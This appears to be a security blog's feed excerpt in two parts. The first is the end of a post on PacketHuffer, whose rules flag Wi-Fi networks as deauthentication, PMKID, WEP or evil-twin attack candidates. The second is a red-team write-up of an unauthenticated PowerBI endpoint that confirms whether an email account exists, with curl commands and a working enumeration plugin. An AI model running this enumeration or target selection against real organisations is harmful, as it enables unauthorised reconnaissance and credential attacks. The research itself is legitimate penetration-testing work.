&lt;p&gt;The following rule can be used to identify potential deauth candidates, it identifies WPA-PSK networks without protected management frames.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;deauth&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;condition&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mfp_status == &amp;#39;Disabled&amp;#39; and is_wpa == True and is_psk == True&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;guidance&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;WPA(2)-PSK network with management frame protection disabled, potential deauthentication candidate.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;rule-filtering.png&#34;  alt=&#34;Using Rule Filtering&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Using rules to identify open networks while hiding hotspots&lt;br&gt;and APs with locally administered MAC addresses.&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;h3 id=&#34;default-rules&#34;&gt;Default Rules&lt;/h3&gt;
&lt;p&gt;The default PacketHuffer config currently ships with the following rules:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Name&lt;/th&gt;
          &lt;th&gt;Logic&lt;/th&gt;
          &lt;th&gt;Guidance&lt;/th&gt;
          &lt;th&gt;Note&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;hidden_networks&lt;/td&gt;
          &lt;td&gt;advertised_SSID == &#39;&#39;&lt;/td&gt;
          &lt;td&gt;Hidden network, SSID identified by examining device probes and responses.&lt;/td&gt;
          &lt;td&gt;PacketHuffer/Kismet will automatically reveal hidden network names by parsing device probes/associations.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;deauth&lt;/td&gt;
          &lt;td&gt;mfp_status == &amp;lsquo;Disabled&amp;rsquo; and is_wpa == True and is_psk == True&lt;/td&gt;
          &lt;td&gt;WPA(2)-PSK network with management frame protection disabled, potential deauthentication candidate.&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;pmkid_candidate&lt;/td&gt;
          &lt;td&gt;is_wpa == True and is_psk == True&lt;/td&gt;
          &lt;td&gt;WPA(2)-PSK network, potential PMKID attack candidate.&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;dragonblood&lt;/td&gt;
          &lt;td&gt;is_wpa3_transition == True and mfp_status == &amp;lsquo;Disabled&amp;rsquo;&lt;/td&gt;
          &lt;td&gt;Network is in WPA3 transition mode, potential WPA3 downgrade attack candidate (DragonBlood).&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;wep_encryption&lt;/td&gt;
          &lt;td&gt;is_wep == True&lt;/td&gt;
          &lt;td&gt;Network uses WEP encryption, potential candidate for ARP Request Replay Attack.&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;open_network&lt;/td&gt;
          &lt;td&gt;crypt_string == &amp;rsquo;&amp;rsquo; or crypt_string == &amp;rsquo;none&amp;rsquo; or crypt_string == &amp;lsquo;open&amp;rsquo;&lt;/td&gt;
          &lt;td&gt;Open network with no encryption.&lt;/td&gt;
          &lt;td&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;hotspots&lt;/td&gt;
          &lt;td&gt;hotspot == True&lt;/td&gt;
          &lt;td&gt;This network&amp;rsquo;s OUI maps to a hotspot or mobile device vendor.&lt;/td&gt;
          &lt;td&gt;This is determined based on OUI lookups / vendors&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;locally_administered_mac&lt;/td&gt;
          &lt;td&gt;locally_administered_mac == True&lt;/td&gt;
          &lt;td&gt;This network&amp;rsquo;s MAC is in the range for locally administered MACs. This may be randomized by a mobile OS/privacy feature.&lt;/td&gt;
          &lt;td&gt;This flags as true if the 2nd character of the MAC is in a locally administered range&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;evil_twin&lt;/td&gt;
          &lt;td&gt;is_enterprise == True&lt;/td&gt;
          &lt;td&gt;Enterprise network with EAP enabled. Check the EAP method(s) in use, potential candidate for evil-twin attacks or relay attacks w/sycophant.&lt;/td&gt;
          &lt;td&gt;More work will need to be done here to determine if specific guidance can be given based on EAP types&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;custom-queries&#34;&gt;Custom Queries&lt;/h2&gt;
&lt;p&gt;In addition to rules, users can filter data using custom queries using &lt;a href=&#34;https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.query.html&#34; target=&#34;_blank&#34;&gt;Pandas syntax&lt;/a&gt;. We can extend the deauth example from above by only identifying networks with connected clients.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;custom-query.png&#34;  alt=&#34;Making Custom Queries&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Using custom queries to identify PSK networks&lt;br&gt;with more than 5 connected clients.&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;This can be used to identify networks based on specific criteria, e.g. a specific string in the SSID, or to test logic for rule creation.&lt;/p&gt;
&lt;h2 id=&#34;handling-multiple-captures&#34;&gt;Handling Multiple Captures&lt;/h2&gt;
&lt;p&gt;Warwalking generally involves the collection of GPS data to locate identified networks, but this isn&amp;rsquo;t always feasible depending on the site. When performing recon of small sites such as office buildings, GPS data isn&amp;rsquo;t helpful in pinpointing network locations. To combat this, I wanted a way to view networks found across a series of captures scoped to a specific area (e.g. floor-1.kismet, floor-2.kismet) and identify which files each network was present in.&lt;/p&gt;
&lt;p&gt;When PacketHuffer processes multiple captures, data is de-duplicated by device MAC address, PacketHuffer will provide a single row of data for each broadcasted SSID. The &lt;code&gt;source_db&lt;/code&gt; column provides a list of capture files each network was identified in.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;multi-capture.png&#34;  alt=&#34;Networks identified in multiple capture files&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Viewing networks identified in multiple capture files.&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;The row displayed for each SSID will be the record from the last time the network was seen by Kismet. Some columns such as &lt;code&gt;channel&lt;/code&gt;, &lt;code&gt;num_connected_clients&lt;/code&gt;, and &lt;code&gt;devmac&lt;/code&gt; will contain aggregated data from all records.&lt;/p&gt;
&lt;h1 id=&#34;closing&#34;&gt;Closing&lt;/h1&gt;
&lt;p&gt;It can be difficult to turn wireless recon data into an actionable plan. Using tools like PacketHuffer, you can more easily make sense of Kismet data and identify targets on wireless engagements.&lt;/p&gt;
&lt;p&gt;PacketHuffer source code can be found &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/packethuffer&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;. Feel free to contribute with additional rules and detection logic.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>{&#34;accountExists&#34;: true} User Enumeration with PowerBI</title>
      <link>https://labs.sra.io/posts/powerbi_enum/</link>
      <pubDate>Tue, 19 May 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/powerbi_enum/</guid>
      <description>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;External pentests and red teams often need reliable techniques for identifying and validating target users. Traditional methods like &lt;a href=&#34;https://github.com/sse-secure-systems/TeamsEnum&#34; target=&#34;_blank&#34;&gt;TeamsEnum&lt;/a&gt; and &lt;a href=&#34;https://github.com/nyxgeek/onedrive_user_enum&#34; target=&#34;_blank&#34;&gt;onedrive_user_enum&lt;/a&gt; are useful, but can be false positive-prone or require further authentication. The PowerBI API exposes an unauthenticated endpoint that returns a definitive &lt;code&gt;{&amp;quot;accountExists&amp;quot;:true}&lt;/code&gt; or a &lt;code&gt;404/500&lt;/code&gt;, which can be used to enumerate valid email addresses for a given organization.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;As adversaries, we&amp;rsquo;re constantly looking for new ways to perform enumeration as platforms and APIs shift. Within the Microsoft ecosystem this is especially common, they move fast, deprecate APIs (looking at you, Azure AD Graph), and regularly change how products authenticate and communicate.&lt;/p&gt;</description>
      <content>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;External pentests and red teams often need reliable techniques for identifying and validating target users. Traditional methods like &lt;a href=&#34;https://github.com/sse-secure-systems/TeamsEnum&#34; target=&#34;_blank&#34;&gt;TeamsEnum&lt;/a&gt; and &lt;a href=&#34;https://github.com/nyxgeek/onedrive_user_enum&#34; target=&#34;_blank&#34;&gt;onedrive_user_enum&lt;/a&gt; are useful, but can be false positive-prone or require further authentication. The PowerBI API exposes an unauthenticated endpoint that returns a definitive &lt;code&gt;{&amp;quot;accountExists&amp;quot;:true}&lt;/code&gt; or a &lt;code&gt;404/500&lt;/code&gt;, which can be used to enumerate valid email addresses for a given organization.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;As adversaries, we&amp;rsquo;re constantly looking for new ways to perform enumeration as platforms and APIs shift. Within the Microsoft ecosystem this is especially common, they move fast, deprecate APIs (looking at you, Azure AD Graph), and regularly change how products authenticate and communicate.&lt;/p&gt;
&lt;p&gt;During a red team, we needed a reliable way to enumerate users in a large Microsoft Entra environment that had tenants configured with both Managed and Federated domains. However, the existing options weren&amp;rsquo;t cutting it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&#34;https://github.com/sse-secure-systems/TeamsEnum&#34; target=&#34;_blank&#34;&gt;TeamsEnum&lt;/a&gt;&lt;/strong&gt; required authentication to get reliable results&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&#34;https://github.com/nyxgeek/onedrive_user_enum&#34; target=&#34;_blank&#34;&gt;onedrive_user_enum&lt;/a&gt;&lt;/strong&gt; was returning hits on deprovisioned or inactive accounts, making results noisy and unreliable&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MS Graph-based techniques&lt;/strong&gt; had changed behavior, either not returning correct results, limited to only managed tenants, or requiring an actual authentication attempt to determine account validity, which risks triggering Smart Lockout or spray detection rules&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We needed something that was unauthenticated, low-noise, and accurate.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;finding-the-endpoint&#34;&gt;Finding the Endpoint&lt;/h2&gt;
&lt;p&gt;To start, we leaned on prior research. My colleague Dave Parillo (&lt;a href=&#34;https://x.com/coffeebearsec_&#34; target=&#34;_blank&#34;&gt;@coffeebearsec&lt;/a&gt;) and I had previously done work on PowerBI that we called &lt;strong&gt;&lt;a href=&#34;https://sra.io/blog/letitgo-a-case-study-in-expired-domains-and-azure-ad/&#34; target=&#34;_blank&#34;&gt;LetItGo&lt;/a&gt;&lt;/strong&gt;, where we found that under the right tenant conditions (specifically, if self-service signup was enabled and an expired-but-configured domain was available), you could get PowerBI to create a new account for you in the target tenant without credentials.&lt;/p&gt;
&lt;p&gt;Taking a similar approach, we started digging into the PowerBI authentication flow more broadly. PowerBI and its sibling platforms, Microsoft Fabric and Power BI Embedded, are notable in that they&amp;rsquo;re the only Microsoft services (that we&amp;rsquo;ve found) that maintain their own branded pre-auth entry point (&lt;code&gt;/singleSignOn&lt;/code&gt;) rather than handing off directly to &lt;code&gt;login.microsoftonline.com&lt;/code&gt;. This means they have their own pre-authentication logic, and that logic needs to resolve account state before it knows where to send you.&lt;/p&gt;
&lt;p&gt;Digging into the API calls made during that flow, we found that all three make use of this endpoint:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;POST https://api.powerbi.com/AADRedirect/public/email/accountStatus
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Content-Type: application/json
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;{&amp;#34;emailAddress&amp;#34;: &amp;#34;target@organization.com&amp;#34;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Only the email address of the target organization is required.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;the-response&#34;&gt;The Response&lt;/h2&gt;
&lt;p&gt;The response from this API couldn&amp;rsquo;t be cleaner from an enumeration perspective.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Valid Account (&lt;code&gt;200 OK&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;HTTP&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1.1&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;OK&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;application/json; charset=utf-8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Length&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;42&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;RequestId&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;a25c8c51-a67a-460f-984e-cfe6685237c9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;accountExists&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Invalid Account (&lt;code&gt;404 Not Found&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;HTTP&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1.1&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;404&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Not Found&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;application/octet-stream&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;RequestId&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;d19f8666-fded-4e3c-9973-cf1b11383580&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;[&lt;/span&gt;empty body&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Nonexistent Organization (&lt;code&gt;500 Internal Server Error&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;HTTP&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1.1&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;500&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Internal Server Error&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;application/json; charset=utf-8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Length&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;128&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;RequestId&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;b265cd37-d2c1-4a2a-b148-1fedb0df31f9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;error&amp;#34;&lt;/span&gt;:{&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;AADEmailAccountStatusFailed&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;pbi.error&amp;#34;&lt;/span&gt;:{&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;AADEmailAccountStatusFailed&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;parameters&amp;#34;&lt;/span&gt;:{},&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;details&amp;#34;&lt;/span&gt;:[]}}}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The signal is a combination of HTTP status code and body&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A valid account gets a &lt;code&gt;200&lt;/code&gt; with &lt;code&gt;{&amp;quot;accountExists&amp;quot;:true}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;An invalid account gets a &lt;code&gt;404&lt;/code&gt; with no body and a content type of &lt;code&gt;application/octet-stream&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;An account with an org that doesn&amp;rsquo;t exist gets a &lt;code&gt;500&lt;/code&gt; with &lt;code&gt;{&amp;quot;error&amp;quot;:...}&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&#34;using-it-in-practice&#34;&gt;Using It in Practice&lt;/h2&gt;
&lt;p&gt;The simplest possible test:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Valid user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -s -X POST &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://api.powerbi.com/AADRedirect/public/email/accountStatus&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Origin: https://app.powerbi.com&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -d &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;{&amp;#34;emailAddress&amp;#34;:&amp;#34;user@targetorg.com&amp;#34;}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Returns: {&amp;#34;accountExists&amp;#34;:true}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Invalid user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -s -X POST &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://api.powerbi.com/AADRedirect/public/email/accountStatus&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Origin: https://app.powerbi.com&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -d &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;{&amp;#34;emailAddress&amp;#34;:&amp;#34;nobody@targetorg.com&amp;#34;}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Returns: (empty, 404) or ({&amp;#34;error&amp;#34;:..., 500)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And the CaptainCredz plugin implementation, which handles this as a pure enumeration module:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;543179628&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;543179628&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;PYTHON&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;CaptinCredz Plugin&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-PYTHON&#34; &gt;&lt;code&gt;
class Plugin:
    def __init__(self, requester, pluginargs):
        self.requester = requester
        self.pluginargs = pluginargs

    def validate(self):
        return True, &amp;#34;&amp;#34;

    def testconnect(self, useragent):
        r = self.requester.get(
            &amp;#34;https://app.powerbi.com&amp;#34;,
            headers={&amp;#34;User-Agent&amp;#34;: useragent}
        )
        return r.status_code == 200

    def test_authenticate(self, username, password, useragent):
        data_response = {
            &amp;#34;result&amp;#34;: None,
            &amp;#34;error&amp;#34;: False,
            &amp;#34;output&amp;#34;: &amp;#34;&amp;#34;,
            &amp;#34;request&amp;#34;: None
        }
        try:
            sess = self.requester.session()
            sess.headers.update({
                &amp;#34;User-Agent&amp;#34;: useragent,
                &amp;#34;Content-Type&amp;#34;: &amp;#34;application/json&amp;#34;,
                &amp;#34;Origin&amp;#34;: &amp;#34;https://app.powerbi.com&amp;#34;,
            })
            r = sess.post(
                &amp;#34;https://api.powerbi.com/AADRedirect/public/email/accountStatus&amp;#34;,
                json={&amp;#34;emailAddress&amp;#34;: username},
                allow_redirects=False
            )
            data_response[&amp;#34;request&amp;#34;] = r

            if r.status_code == 200:
                data_response[&amp;#34;result&amp;#34;] = &amp;#34;potential&amp;#34;
                data_response[&amp;#34;output&amp;#34;] = f&amp;#34;[&amp;#43;] VALID: {username}&amp;#34;
            elif r.status_code == 404:
                data_response[&amp;#34;result&amp;#34;] = &amp;#34;nonexistant&amp;#34;
                data_response[&amp;#34;output&amp;#34;] = f&amp;#34;[-] INVALID: {username}&amp;#34;
            elif r.status_code == 500:
                data_response[&amp;#34;result&amp;#34;] = &amp;#34;nonexistant&amp;#34;
                data_response[&amp;#34;output&amp;#34;] = f&amp;#34;[-] INVALID: {username}&amp;#34;
            else:
                data_response[&amp;#34;result&amp;#34;] = &amp;#34;failure&amp;#34;
                data_response[&amp;#34;output&amp;#34;] = f&amp;#34;[?] UNEXPECTED {r.status_code}: {username}&amp;#34;

        except Exception as ex:
            data_response[&amp;#34;error&amp;#34;] = True
            data_response[&amp;#34;output&amp;#34;] = str(ex)

        return data_response
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;


&lt;hr&gt;
&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;
